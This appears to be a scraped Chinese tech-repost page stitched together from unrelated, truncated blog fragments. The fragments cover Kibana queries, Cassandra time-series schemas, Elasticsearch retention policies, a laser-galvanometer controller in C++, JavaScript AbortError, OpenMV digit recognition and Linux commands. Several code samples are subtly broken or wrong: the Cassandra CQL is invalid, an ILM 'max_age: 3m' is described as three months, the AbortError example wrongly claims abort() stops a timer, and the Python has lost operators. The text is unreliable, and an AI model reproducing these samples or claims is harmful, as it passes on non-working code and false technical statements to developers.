server_ip 为接收数据的IP 参考质料 Linux邻居协议 学习笔记 之五 通用邻居项的状态机机制 https://blog.csdn.net/lickylin/article/details/22228047 转载于:https://www.cnblogs.com/r1ng0/p/9861525.html 本篇文章为转载内容。原文链接：https://blog.csdn.net/weixin_30278237/article/details/96265452。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

...选数据。这对于分析特定时间段内的趋势非常有用。比如，如果你想要查看过去一周内所有的用户登录记录，你可以设置时间过滤器来限定这个范围。 代码示例： json GET /logs/_search { "query": { "range": { "@timestamp": { "gte": "now-7d/d", "lt": "now/d" } } } } 2.3 使用索引模式进行多角度数据切片 索引模式允许你根据不同的字段来创建视图，从而从不同角度观察数据。比如说，你有个用户信息的大台账，里面记录了各种用户的小秘密，比如他们的位置和年龄啥的。那你可以根据这些小秘密，弄出好几个不同的小窗口来看，这样就能更清楚地知道你的用户都分布在哪儿啦！ 代码示例： json PUT /users/_mapping { "properties": { "location": { "type": "geo_point" }, "age": { "type": "integer" } } } 2.4 利用可视化工具进行高级数据切片 Kibana的可视化工具（如图表、仪表板）提供了强大的数据可视化能力，使我们可以直观地看到数据之间的关系。比如说，你可以画个饼图来看看各种产品卖得咋样，比例多大；还可以画个时间序列图，看看每天的销售额是涨了还是跌了。 代码示例： 虽然直接通过API创建可视化对象不是最常见的方式，但你可以通过Kibana的界面来设计你的可视化，并将其导出为JSON格式。下面是一个简单的示例，展示了如何通过API创建一个简单的柱状图： json POST /api/saved_objects/visualization { "attributes": { "title": "Sales by Category", "visState": "{\"title\":\"Sales by Category\",\"type\":\"histogram\",\"params\":{\"addTimeMarker\":false,\"addTooltip\":true,\"addLegend\":true,\"addTimeAxis\":true,\"addDistributionBands\":false,\"scale\":\"linear\",\"mode\":\"stacked\",\"times\":[],\"yAxis\":{},\"xAxis\":{},\"grid\":{},\"waterfall\":{} },\"aggs\":[{\"id\":\"1\",\"enabled\":true,\"type\":\"count\",\"schema\":\"metric\",\"params\":{} },{\"id\":\"2\",\"enabled\":true,\"type\":\"terms\",\"schema\":\"segment\",\"params\":{\"field\":\"category\",\"size\":5,\"order\":\"desc\",\"orderBy\":\"1\"} }],\"listeners\":{} }", "uiStateJSON": "{}", "description": "", "version": 1, "kibanaSavedObjectMeta": { "searchSourceJSON": "{\"index\":\"sales\",\"filter\":[],\"highlight\":{},\"query\":{\"query_string\":{\"query\":\"\",\"analyze_wildcard\":true} }}" } }, "references": [], "migrationVersion": {}, "updated_at": "2023-09-28T00:00:00.000Z" } 3. 思考与实践 在实际操作中，数据切片并不仅仅是简单的过滤和查询，它还涉及到如何有效地组织和呈现数据。这就得咱们不停地试各种招儿，比如说用聚合函数搞更复杂的统计分析，或者搬出机器学习算法来预测未来的走向。每一次尝试都可能带来新的发现，让数据背后的故事更加生动有趣。 4. 结语 数据切片是数据分析中不可或缺的一部分，它帮助我们在海量数据中寻找有价值的信息。Kibana这家伙可真不赖，简直就是个数据分析神器，有了它，我们实现目标简直易如反掌！希望本文能为你提供一些灵感和思路，让你在数据分析的路上越走越远！ --- 以上就是本次关于如何在Kibana中实现数据切片的技术分享，希望能对你有所帮助。如果你有任何疑问或想了解更多内容，请随时留言讨论！

...辣的数据，或者根据特定时间段进行汇总统计的信息。 2. 设计原则 （1）分区键选择 在Cassandra中，分区键对于高效查询至关重要。当你在处理时间序列数据时，一个很接地气的做法就是拿时间来做分区的一部分。比如说，你可以把年、月、日、小时这些信息拼接起来，弄成一个复合型的分区键。这样一来，同一时间段的数据就会乖乖地呆在同一个分区里，这样咱们就能轻松高效地一次性读取到这一整段时期的数据了，明白吧？ cql CREATE TABLE sensor_data ( sensor_id uuid, event_time timestamp, data text, PRIMARY KEY ((sensor_id, date_of(event_time)), event_time) ) WITH CLUSTERING ORDER BY (event_time DESC); 这里date_of(event_time)是对事件时间进行提取日期部分的操作，形成复合分区键，便于按天或更粗粒度进行分区。 （2）排序列簇与查询路径 使用CLUSTERING ORDER BY定义排序列簇，按照时间戳降序排列，确保最新数据能快速获取。 （3）限制行大小与集合使用 尽管Cassandra支持集合类型，但对于时间序列数据，应避免在一个集合内存放大量数据，以免读取性能受到影响。由于集合不会分页，如果需要存储连续的时序数据点，最好让每一行只包含单个数据点。 （4）宽行与稀疏索引 采用“宽行”策略，即每行代表一段时间窗口内的多个数据点属性，而不是每条数据一个行。这有助于减少跨分区查询，提高查询效率。同时呢，对于那些跟时间没关系的筛选条件，我们可以琢磨着用一下稀疏索引。不过得注意啦，这里有个“度”的把握，就是索引虽然能让查询速度嗖嗖提升，但同时也会让写入数据时的开销变大。所以嘞，咱们得在这两者之间找个最佳平衡点。 3. 示例设计 物联网传感器数据存储 假设我们有一个物联网项目，需要存储来自不同传感器的实时测量值： cql CREATE TABLE sensor_readings ( sensor_id uuid, reading_time timestamp, temperature float, humidity int, pressure double, PRIMARY KEY ((sensor_id, reading_time)) ) WITH CLUSTERING ORDER BY (reading_time DESC); 这个表结构中，sensor_id和reading_time共同组成复合分区键，每个传感器在某一时刻的温度、湿度和压力读数都存放在一行里。 4. 总结与思考 设计Cassandra时间序列数据表的关键在于理解数据访问模式并结合Cassandra的特性和局限性。选对分区键这招儿，就像给海量数据找个宽敞的储藏室，让它们能分散开来存放和快速找到；而把列簇整得井井有条，那就相当于帮我们轻松摸到最新鲜的数据，一抓一个准儿。再配上精心设计的宽行结构，加上恰到好处的索引策略，甭管查询需求怎么变花样，都能妥妥地满足你。 当然，具体实践时还需要根据业务的具体情况进行调整和优化，例如预测未来的数据增长规模、评估查询性能瓶颈以及是否需要进一步的数据压缩等措施。总的来说，用Cassandra搭建时间序列数据模型不是个一劳永逸的事儿，它更像是一个持久的观察、深度思考和反复调整优化的过程。只有这样，我们才能真正把Cassandra处理海量时序数据的洪荒之力给释放出来。

... { "order_id": "123456789", "status": "success", "timestamp": "2023-09-01T10:00:00Z" } 现在，你想对这些日志进行生命周期管理，具体要求如下： - 最近3个月的数据需要保留。 - 超过3个月的数据自动归档到冷存储。 - 超过1年的数据完全删除。 实现方案： 1. 创建索引模式，命名为orders-。 2. 定义生命周期策略 javascript PUT _ilm/policy/orders_policy { "policy": { "phases": { "hot": { "actions": { "rollover": { "max_size": "10gb", "max_age": "3m" } } }, "warm": { "actions": { "freeze": {} } }, "delete": { "min_age": "1y", "actions": { "delete": {} } } } } } 3. 将策略绑定到索引 bash POST /orders-/_settings { "index.lifecycle.name": "orders_policy", "index.lifecycle.rollover_alias": "orders" } 运行以上代码后，你会发现： - 每隔3个月，新的订单日志会被滚动到一个新的索引中。 - 超过3个月的旧数据会被冻结，存入冷存储。 - 超过1年的数据会被彻底删除，释放存储空间。 --- 5. 总结与展望 通过今天的分享，相信大家对如何在Kibana中设置数据保留策略有了更深的理解。虽然设置过程看似繁琐，但实际上只需要几步就能搞定。而且啊，要是咱们好好用数据保留这招，不仅能让系统跑得更快、更顺畅，还能帮咱们把那些藏在数据里的宝贝疙瘩给挖出来，多好呀！ 最后，我想说的是，技术学习是一个不断探索的过程。如果你在实践中遇到问题，不妨多查阅官方文档或者向社区求助。毕竟，我们每个人都是技术路上的探索者，一起努力才能走得更远！ 好了，今天的分享就到这里啦！如果你觉得这篇文章有用，记得点赞支持哦~咱们下次再见！

...之间做增量信号同步或定时差额同步，可能会有延迟，这个就看你能容忍多长时间（悄悄告诉你，elasticsearch也需要指定这个refresh时间，一般是1s到几秒、甚至分钟级。当然，二者的这个时间对饮的底层目的是不一样的）。 这样，搜索的时候先查询搜索库，拿到一个指针id的列表，然后拿到指针id的列表区存储里把数据一次性捞出来。当然，也是支持分页的，你查询搜索库其实也是普通的数据库查询嘛，支持分页参数的。 4.3 存储库和索引库的延伸阅读 很多有名的开源软件也是使用的存储库与索引库分离的技术方案，如apache atlas： apache atlas对于大数据领域的数据资产元数据管理、数据血缘上可谓是专家，也涉及资产搜索的特性，它的实现思路就是：从搜索库中做搜索、拿到key、再去存储库中做查询。 搜索库：上图右下角，可以看到使用的是elasticsearch、solr或lucene，多个选一个 存储库：上图左下角，可以看到使用的是Cassandra、HBase或BerkeleyDB，多个选一个 虽然apache atlas在只有搜索库或只有存储库的时候也可以很好的工作，但只针对于数据量并不大的场景。 搜索库，擅长搜索！存储库，擅长海量存储！搜索库多样化搜索，然后去存储库做点查。 当你的数据达到海量的时候，es+hbase也是一种很好的解决方案，不在这里展开说明了。

...链接,链接成功后启动定时器1监控控制器状态。 //网口链接控制器void CSingle_move_Dlg::OnOpen(){char buffer[256]; int32 iresult;//如果已经链接，则先断开链接if(NULL != g_handle){ZAux_Close(g_handle);g_handle = NULL;}//从IP下拉框中选择获取IP地址GetDlgItemText(IDC_IPLIST,buffer,255);buffer[255] = '\0';//开始链接控制器iresult = ZAux_OpenEth(buffer, &g_handle);if(ERR_SUCCESS != iresult){g_handle = NULL;MessageBox(_T("链接失败"));SetWindowText("未链接");return;}//链接成功开启定时器1SetWindowText("已链接");SetTimer( 1, 100, NULL ); } （3）通过定时器监控控制器状态 。 void CSingle_move_Dlg::OnTimer(UINT_PTR nIDEvent) {// TODO: Add your message handler code here and/or call defaultif(NULL == g_handle){MessageBox(_T("链接断开"));return ;}if(1 == nIDEvent){CString string;float position = 0;ZAux_Direct_GetDpos( g_handle,m_nAxis,&position); //获取当前轴位置string.Format("振镜X1轴位置：%.2f", position );GetDlgItem( IDC_CURPOS )->SetWindowText( string );float NowSp = 0;ZAux_Direct_GetVpSpeed( g_handle,m_nAxis,&NowSp); //获取当前轴速度string.Format("振镜X1轴速度：%.2f", NowSp );GetDlgItem( IDC_CURSPEED)->SetWindowText( string );ZAux_Direct_GetDpos(g_handle, m_nAxis+1, &position); //获取当前轴位置string.Format("振镜Y1轴位置：%.2f", position);GetDlgItem(IDC_CURPOS2)->SetWindowText(string);ZAux_Direct_GetVpSpeed(g_handle, m_nAxis+1, &NowSp); //获取当前轴速度string.Format("振镜Y1轴速度：%.2f", NowSp);GetDlgItem(IDC_CURSPEED2)->SetWindowText(string);ZAux_Direct_GetDpos(g_handle, m_nAxis + 2, &position); //获取当前轴位置string.Format("振镜X2轴位置：%.2f", position);GetDlgItem(IDC_CURPOS3)->SetWindowText(string);NowSp = 0;ZAux_Direct_GetVpSpeed(g_handle, m_nAxis + 2, &NowSp); //获取当前轴速度string.Format("振镜X2轴速度：%.2f", NowSp);GetDlgItem(IDC_CURSPEED3)->SetWindowText(string);ZAux_Direct_GetDpos(g_handle, m_nAxis + 3, &position); //获取当前轴位置string.Format("振镜Y2轴位置：%.2f", position);GetDlgItem(IDC_CURPOS4)->SetWindowText(string);ZAux_Direct_GetVpSpeed(g_handle, m_nAxis + 3, &NowSp); //获取当前轴速度string.Format("振镜Y2轴速度：%.2f", NowSp);GetDlgItem(IDC_CURSPEED4)->SetWindowText(string);int status = 0; ZAux_Direct_GetIfIdle(g_handle, m_nAxis,&status); //判断当前轴状态if (status == -1){GetDlgItem( IDC_CURSTATE )->SetWindowText( "当前状态：停 止" );}else{GetDlgItem( IDC_CURSTATE )->SetWindowText( "当前状态：运动中" );} }CDialog::OnTimer(nIDEvent);} （4）通过启动按钮的事件处理函数获取编辑框的移动轨迹，并设置振镜轴参数操作振镜轴运动。 void CSingle_move_Dlg::OnStart() //启动运动{if(NULL == g_handle){MessageBox(_T("链接断开状态"));return ;}UpdateData(true);//刷新参数int status = 0; ZAux_Direct_GetIfIdle(g_handle, m_nAxis,&status); //判断当前轴状态 if (status == 0) //已经在运动中{ return;} //设定轴类型 1-脉冲轴类型 for (int i = 4; i < 8; i++){ZAux_Direct_SetAtype(g_handle, i, m_Atype);ZAux_Direct_SetMerge(g_handle,i,1);//设置脉冲当量ZAux_Direct_SetUnits(g_handle, i, m_units);//设定速度，加减速ZAux_Direct_SetLspeed(g_handle, i, m_lspeed);ZAux_Direct_SetSpeed(g_handle, i, m_speed);ZAux_Direct_SetForceSpeed(g_handle, i, m_speed);ZAux_Direct_SetAccel(g_handle, i, m_acc);ZAux_Direct_SetDecel(g_handle, i, m_dec);//设定S曲线时间 设置为0表示梯形加减速 ZAux_Direct_SetSramp(g_handle, i, m_sramp);}//使用MOVESCANABS运动int axislist[2] = { 4,5 };float dposlist[2] = { 0,0 };ZAux_MoveScanAbs(2, axislist, dposlist);CString str;GetDlgItem(IDC_EDIT_POSX1)->GetWindowText(str);float dbx = atof(str);GetDlgItem(IDC_EDIT_POSY1)->GetWindowText(str);float dby = atof(str);dposlist[0] = dbx;dposlist[1] = dby;ZAux_MoveScanAbs(2, axislist, dposlist);GetDlgItem(IDC_EDIT_POSX2)->GetWindowText(str);dbx = atof(str);GetDlgItem(IDC_EDIT_POSY2)->GetWindowText(str);dby = atof(str);dposlist[0] = dbx;dposlist[1] = dby;ZAux_MoveScanAbs(2, axislist, dposlist);GetDlgItem(IDC_EDIT_POSX3)->GetWindowText(str);dbx = atof(str);GetDlgItem(IDC_EDIT_POSY3)->GetWindowText(str);dby = atof(str);dposlist[0] = dbx;dposlist[1] = dby;ZAux_MoveScanAbs(2, axislist, dposlist);GetDlgItem(IDC_EDIT_POSX4)->GetWindowText(str);dbx = atof(str);GetDlgItem(IDC_EDIT_POSY4)->GetWindowText(str);dby = atof(str);dposlist[0] = dbx;dposlist[1] = dby;ZAux_MoveScanAbs(2, axislist, dposlist);//第二个振镜运动//使用MOVESCANABS运动axislist[0] = 6;axislist[1] = 7;dposlist[0] = 0;dposlist[1] = 0;ZAux_MoveScanAbs(2, axislist, dposlist);GetDlgItem(IDC_EDIT_POSX5)->GetWindowText(str);dbx = atof(str);GetDlgItem(IDC_EDIT_POSY5)->GetWindowText(str);dby = atof(str);dposlist[0] = dbx;dposlist[1] = dby;ZAux_MoveScanAbs(2, axislist, dposlist);GetDlgItem(IDC_EDIT_POSX6)->GetWindowText(str);dbx = atof(str);GetDlgItem(IDC_EDIT_POSY6)->GetWindowText(str);dby = atof(str);dposlist[0] = dbx;dposlist[1] = dby;ZAux_MoveScanAbs(2, axislist, dposlist);GetDlgItem(IDC_EDIT_POSX7)->GetWindowText(str);dbx = atof(str);GetDlgItem(IDC_EDIT_POSY7)->GetWindowText(str);dby = atof(str);dposlist[0] = dbx;dposlist[1] = dby;ZAux_MoveScanAbs(2, axislist, dposlist);GetDlgItem(IDC_EDIT_POSX8)->GetWindowText(str);dbx = atof(str);GetDlgItem(IDC_EDIT_POSY8)->GetWindowText(str);dby = atof(str);dposlist[0] = dbx;dposlist[1] = dby;ZAux_MoveScanAbs(2, axislist, dposlist);UpdateData(false); } (5) 通过断开按钮的事件处理函数来断开与控制卡的连接。 void CSingle_move_Dlg::OnClose() //断开链接{// TODO: Add your control notification handler code hereif(NULL != g_handle){KillTimer(1); //关定时器KillTimer(2);ZAux_Close(g_handle);g_handle = NULL;SetWindowText("未链接");} } （6）通过坐标清零按钮的事件处理函数移动振镜轴回零到中心零点位置，不直接使用dpos=0，修改振镜轴坐标。 void CSingle_move_Dlg::OnZero() //清零坐标{if(NULL == g_handle){MessageBox(_T("链接断开状态"));return ;}// TODO: Add your control notification handler code hereint axislist[2] = { 4,5 };float dposlist[2] = { 0 };ZAux_Direct_MoveAbs(g_handle,2,axislist,dposlist); //设置运动回零点} 三调试与监控 编译运行例程，同时通过ZDevelop软件连接控制器对控制器状态进行监控 。 ZDevelop软件连接控制器监控控制器的状态，查看振镜轴对应参数，并可搭配示波器检测双振镜轨迹。 设置振镜轴运动，首先需要将轴类型配置成21振镜轴类型，并对应配置振镜轴的速度加减速等参数才可操作振镜进行运动。 通过ZDevelop软件的示波器监控双振镜运动运行轨迹。 视频演示。 开放式激光振镜+运动控制器(六)-双振镜运动 本次，正运动技术开放式激光振镜+运动控制器(六)：双振镜运动，就分享到这里。 更多精彩内容请关注“正运动小助手”公众号，需要相关开发环境与例程代码，请咨询正运动技术销售工程师：400-089-8936。 本文由正运动技术原创，欢迎大家转载，共同学习，一起提高中国智能制造水平。文章版权归正运动技术所有，如有转载请注明文章来源。 本篇文章为转载内容。原文链接：https://blog.csdn.net/weixin_57350300/article/details/123402200。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

...请求、文件上传下载、定时器这些地方都可能遇到它。它就像是一个警报器，告诉你某件事中途被中断了。 举个简单的例子： javascript const controller = new AbortController(); const signal = controller.signal; setTimeout(() => { console.log('定时器触发了！'); }, 3000); controller.abort(); // 中断定时器 console.log(signal.reason); // 输出 "AbortError: The operation was aborted." 在这个例子中，我们创建了一个AbortController实例，并通过调用它的abort()方法来中断定时器。嘿，瞧瞧最后一行输出啊！这告诉我们出问题了，是个“AbortError”，简单说就是有某个操作被强行中断啦。 --- 二、AbortError的实际应用场景 说到AbortError的应用场景，我觉得最典型的就是网络请求了。你有没有过这样的经历？比如你在网页上点了个下载按钮，想看个大图或者视频啥的。刚点完没多久，就觉得“这速度也太磨叽了吧！再等下去我都快睡着了”，然后一狠心就直接取消了操作。哎呀，这就像是服务器那边正拼了命地给你打包数据呢，结果你这边的浏览器直接甩出一句：“兄弟，不用忙活了，我不等了！””这就是AbortError发挥作用的地方。 让我们来看一段代码： javascript async function fetchData() { const controller = new AbortController(); const signal = controller.signal; try { const response = await fetch('https://example.com/large-file', { signal }); console.log('数据已成功获取'); } catch (error) { if (error.name === 'AbortError') { console.log('请求被用户取消'); } else { console.error('发生了其他错误:', error); } } // 取消请求 controller.abort(); } fetchData(); 在这段代码里，我们使用AbortController来管理一个网络请求。如果用户决定取消请求，我们就调用controller.abort()，这时fetch函数会抛出一个AbortError。嘿嘿，简单来说呢，就是咱们逮住这个错误，看看它是不是个“AbortError”，如果是的话，就用一种超优雅的方式把它处理了，不搞什么大惊小怪的。 --- 三、AbortError与其他错误的区别 说到错误，难免要和其他错误比较一番。比如说嘛，就有人会好奇地问：“AbortError跟一般的错误到底有啥不一样呀？”说实话呢，这个问题我也琢磨了好久好久，头都快想大了！ 首先，AbortError是一种特殊的错误类型，专门用于表示操作被人为中断的情况。其实很多小错误啊，就是程序员自己不小心搞出来的，像打字打错了变量名，或者一激动让数组越界了之类的，都是挺常见的乌龙事件。简单来说呢，这俩的区别就是——AbortError就像是个“计划内”的小插曲，咱们事先知道它可能会发生，也能提前做好准备去应对；但普通的错误嘛，就好比是突然从天而降的小麻烦，压根儿没得防备，让人措手不及！ 举个例子： javascript function divide(a, b) { if (b === 0) { throw new Error('除数不能为零'); } return a / b; } try { console.log(divide(10, 0)); // 抛出普通错误 } catch (error) { console.error(error.message); // 输出 "除数不能为零" } 在这个例子中，divide函数因为传入了非法参数（即分母为0）而抛出了一个普通错误。而如果我们换成AbortError呢？ javascript const controller = new AbortController(); function process() { setTimeout(() => { console.log('处理完成'); }, 5000); } process(); controller.abort(); // 中断处理 这里虽然也有中断操作的意思，但并没有抛出任何错误。这就像是说，AbortError不会自己偷偷跑出来捣乱，得咱们主动去点那个abort()按钮才行。就好比你得自己动手去按开关，灯才不会自己亮起来一样。 --- 四、深入探讨AbortError的优缺点 说到优点嘛，我觉得AbortError最大的好处就是它让我们的代码更加健壮和可控。比如说啊，在面对一堆同时涌来的请求时， AbortError 就像一个神奇的开关，能帮我们把那些没用的请求一键关掉，这样就不会白白浪费资源啦！对了，它还能帮咱们更贴心地照顾用户体验呢！比如说，当用户等得花儿都快谢了，就给个机会让他们干脆放弃这事儿，省得干着急。 但是呢，凡事都有两面性。AbortError也有它的局限性。首先，它只适用于那些支持AbortSignal接口的操作，比如fetch、XMLHttpRequest之类。如果你尝试在一个不支持AbortSignal的操作上使用它，那就会直接报错。另外啊，要是随便乱用 AbortError 可不好，比如说老是取消请求的话，系统可能就会被折腾得够呛，负担越来越重，你说是不是？ 说到这里，我想起了之前开发的一个项目，当时为了优化性能，我给每个API请求都加了AbortController，结果发现有时候会导致页面加载速度反而变慢了。后来经过反复调试，我才意识到，频繁地取消请求其实是得不偿失的。所以啊，大家在使用AbortError的时候一定要权衡利弊，不能盲目追求“安全”。 --- 五、总结与展望 总的来说，AbortError是一个非常实用且有趣的错误类型。它不仅能让我们更轻松地搞定那些乱七八糟的异步任务，还能让代码变得更好懂、更靠谱！不过，就像任何工具一样，它也需要我们在实践中不断摸索和完善。 未来，随着前端开发越来越复杂，我相信AbortError会有更多的应用场景。不管是应对一大堆同时进行的任务，还是让咱们跟软件互动的时候更顺畅、更开心，它都绝对是我们离不开的得力助手！所以，各位小伙伴，不妨多尝试用它来解决实际问题，说不定哪天你会发现一个全新的解决方案呢！ 好了，今天的分享就到这里啦。希望能给大家打开一点思路，也期待大家在评论区畅所欲言，分享你的想法！最后，祝大家coding愉快，早日成为编程界的高手！

...in-images.idx3.ubyte'train_labels = 'C:/Users/ASUS/Desktop/train-labels.idx1.ubyte'test_images ='C:/Users/ASUS/Desktop/t10k-images.idx3.ubyte'test_labels = 'C:/Users/ASUS/Desktop/t10k-labels.idx1.ubyte'此处是我们将转化后的数据集保存的位置save_train ='C:/Users/ASUS/Desktop/MNIST/train_images/'save_test ='C:/Users/ASUS/Desktop/MNIST/test_images/'if not os.path.exists(save_train):os.makedirs(save_train)if not os.path.exists(save_test):os.makedirs(save_test)trans(test_images, test_labels, save_test)trans(train_images, train_labels, save_train) 2.2 将图片按照标签分类到具体文件夹 文章参考链接：python实现根据文件名自动分类转移至不同的文件夹 注意：为了适合这个数据集和我的win11系统对代码进行了一点调整，由于数据很多如果只需要部分数据一定要将那些数据单独放在一个文件夹。 导入库import osimport shutil 当前文件夹所在的路径，使用时需要进行修改current_path = 'C:/Users/ASUS/Desktop/MNIST/test'print('当前文件夹为:' + current_path) 读取该路径下的文件filename_list = os.listdir(current_path) 建立文件夹并且进行转移 假设原图片名称 test_001_2.jpgfor filename in filename_list:name1, name2, name3 = filename.split('_') name1 = test name2 = 001 name3 = 2.jpgname4, name5 = name3.split('.') name4 = 2 name5 = jpgif name5 == 'jpg' or name5 == 'png':try:os.mkdir(current_path+'/'+name4)print('成功建立文件夹:'+name4)except:passtry:shutil.move(current_path+'/'+filename, current_path+'/'+name4[:])print(filename+'转移成功！')except Exception as e:print('文件 %s 转移失败' % filename)print('转移错误原因:' + e)print('整理完毕！') 2.3 数据存在的缺陷 数据集内的图片数量很多，由于后面介绍的云端训练的限制，只能采用部分数据（本人采用的是1000张，大家可以自行增减数目）。 数据集为国外的数据集，很多数字写的跟我们不一样。如果想要更好的适用于我们国内的场景，可以对数据集进行手动的筛选。下面是他们写的数字2： 可以看出跟我们的不一样，不过数据集中仍然存在跟常规书写的一样的，我们需要进行人为的筛选。 2.4 优化建议(核心) 分析发现，部分数字精度不高的原因主要是国外手写很随意，我们可以通过调整网络参数(如下)、人为筛选数据(如上)、增大数据集等方式进行优化。 二、模型训练 主要参考文章：通过云端自动生成openmv的神经网络模型，进行目标检测 ！！！唯一不同的点是我图像参数设置的是灰度而不是上述文章的RGB。 下面是我模型训练时的参数设置（仅供参考）： 通过混淆矩阵可以看出，主要的错误在于数字2、6、8。我们可以通过查看识别错误的数字来分析可能的原因。 三、项目实现 ！！！我们需要先将上述步骤中导出文件中的所有内容复制粘贴带OpenMV中自带的U盘中。然后将其中的.py文件名称改为main 1. 代码实现 本人修改后的完整代码展示如下，使用的是OpenMV IDE（官网下载）： 数字识别后控制直流电机转速from pyb import Pin, Timerimport sensor, image, time, os, tf, math, random, lcd, uos, gc 根据识别的数字输出不同占比的PWM波def run(number):if inverse == True:ain1.low()ain2.high()else:ain1.high()ain2.low()ch1.pulse_width_percent(abs(number10)) 具体参数调整自行搜索sensor.reset() 初始化感光元件sensor.set_pixformat(sensor.GRAYSCALE) set_pixformat : 设置像素模式(GRAYSCALSE : 灰色; RGB565 : 彩色)sensor.set_framesize(sensor.QQVGA2) set_framesize : 设置处理图像的大小sensor.set_windowing((128, 160)) set_windowing ： 设置提取区域大小sensor.skip_frames(time = 2000) skip_frames ：跳过2000ms再读取图像lcd.init() 初始化lcd屏幕。inverse = False True : 电机反转 False : 电机正转ain1 = Pin('P1', Pin.OUT_PP) 引脚P1作为输出ain2 = Pin('P4', Pin.OUT_PP) 引脚P4作为输出ain1.low() P1初始化低电平ain2.low() P4初始化低电平tim = Timer(2, freq = 1000) 采用定时器2，频率为1000Hzch1 = tim.channel(4, Timer.PWM, pin = Pin('P5'), pulse_width_percent = 100) 输出通道1 配置PWM模式下的定时器（高电平有效） 端口为P5 初始占空比为100%clock = time.clock() 设置一个时钟用于追踪FPS 加载模型try:net = tf.load("trained.tflite", load_to_fb=uos.stat('trained.tflite')[6] > (gc.mem_free() - (641024)))except Exception as e:print(e)raise Exception('Failed to load "trained.tflite", did you copy the .tflite and labels.txt file onto the mass-storage device? (' + str(e) + ')') 加载标签try:labels = [line.rstrip('\n') for line in open("labels.txt")]except Exception as e:raise Exception('Failed to load "labels.txt", did you copy the .tflite and labels.txt file onto the mass-storage device? (' + str(e) + ')') 不断的进行运行while(True):clock.tick() 更新时钟img = sensor.snapshot().binary([(0,64)]) 抓取一张图像以灰度图显示lcd.display(img) 拍照并显示图像for obj in net.classify(img, min_scale=1.0, scale_mul=0.8, x_overlap=0.5, y_overlap=0.5): 初始化最大值和标签max_num = -1max_index = -1print("\nPredictions at [x=%d,y=%d,w=%d,h=%d]" % obj.rect())img.draw_rectangle(obj.rect()) 预测值和标签写成一个列表predictions_list = list(zip(labels, obj.output())) 输出各个标签的预测值，找到最大值进行输出for i in range(len(predictions_list)):print('%s 的概率为： %f' % (predictions_list[i][0], predictions_list[i][1]))if predictions_list[i][1] > max_num:max_num = predictions_list[i][1]max_index = int(predictions_list[i][0])run(max_index)print('该数字预测为：%d' % max_index)print('FPS为：', clock.fps())print('PWM波占空比为: %d%%' % (max_index10)) 2. 采用器件 使用的器件为OpenMV4 H7 Plus和L298N以及常用的直流电机。关键是找到器件的引脚图，再进行简单的连线即可。 参考文章：【L298N驱动模块学习笔记】–openmv驱动 参考文章：【openmv】原理图 引脚图 2. 注意事项 上述代码中我用到了lcd屏幕，主要是为了方便离机操作。使用过程中，OpenMV的lcd初始化时会重置端口，所有我们在输出PWM波的时候一定不要发生引脚冲突。我们可以在OpenMV官网查看lcd用到的端口： 可以看到上述用到的是P0、P2、P3、P6、P7和P8。所有我们输出PWM波时要避开这些端口。下面是OpenMV的PWM资源： 总结 本人第一次自己做东西也是第一次使用python，所以代码和项目写的都很粗糙，只是简单的识别数字控制直流电机。我也是四处借鉴修改后写下的大小，这篇文章主要是为了给那些像我一样的小白们提供一点帮助，减少大家查找资料的时间。模型的缺陷以及改进方法上述中已经说明，如果我有写错或者大家有更好的方法欢迎大家告诉我，大家一起进步！ 本篇文章为转载内容。原文链接：https://blog.csdn.net/weixin_57100435/article/details/130740351。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

...个缓冲区，系统是隔一定时间像磁盘写入缓冲区内写入磁盘），用sync立刻写入 grep ”“ -i ：搜索时忽略大小写 grep 默认是匹配字符， -w 选项默认匹配一个单词 例如我想匹配 “like”， 不加 -w 就会匹配到 “liker”， 加 -w 就不会匹配到 du 目录/文件 -sh ： 查看某一文件/目录的大小，也可以到一个目录下du -sh，查看这个目录的大小 目录下使用du -sh 查看目录总的大小 du 文件名 -sh 查看指定文件的大小 df：检查linux服务器的文件系统磁盘空间占用情况，默认以kb为单位 gedit 文件：使用gedit软件打开一个文件（类似于windows下面的记事本） ps：查看您当前系统有哪些进程，ubuntu（多用户）下是ps -aux，嵌入式linux（单用户）下面是ps top：进程实时运行状态查询 file 文件名：查看文件类型 ubuntu的fs cd / ：根目录，一切都是从根目录发散开来的 /bin：存放二进制可执行文件，比如一些命令 /boot：ubuntu的内核与启动文件 /cdrom：有光盘是存放光盘文件 /dev：存放设备驱动文件 /etc：存放配置文件，如账号和密码文件（加密后的） /home：系统默认的用户主文件夹 /lib：存放库文件 /lib64：存放库文件，. so时linux下面的动态库文件 /media：存放可插拔设备，如sd，u盘就是挂载到这个文件下面 /mnt：用户可使用的挂载点，和media类似，可以手动让可插拔设备挂载到/mnt /opt：可选的文件和程序存放目录，给第三方软件放置的目录 /proc：存放系统的运行信息，实在内存上的不是在flash上，如cat /proc/cpuinfo /root：系统管理员目录，root用户才能访问的文件 /sbin：和bin类似，存放一些二进制可执行文件，sbin下面一般是系统开机过程中所需要的命令 /srv：服务相关的目录，如网络服务 /sys：记录内核信息，是虚拟文件系统 /tmp：临时目录 /usr：不是user的缩写，而是UNIX Software Resource的缩写，存放系统用户有关的文件，占很大空间 /var：存放变化的文件，如日志文件 – 移植就是移植上面这些文件 磁盘管理 linux开发一定要选用FAT32格式的U盘或者SD卡 u盘在/dev中的名字是sd,要确定是哪个，拔了看少了哪个。就是哪个 /dev/sdb表示U盘，/dev/sdb1表示U盘的第一个分区，一般U盘 sd卡只有一个分区 df：显示linux系统的磁盘占用情况 在一个目录里使用du -sh：查看这个目录里面所有内容所占用的资源 du 文件名 -sh：一般用来看单个文件/目录的大小 du -h --max-depth=n:显示n级目录的大小 – 磁盘的挂载与取消挂载： mount 和 umount sudo mount /dev/sdb1 /media/jl/udisk sudo umount /media/jl/u盘名 （-f 强制取消挂载），如果u盘正在使用，如被另一个终端打开，那么该指令无效 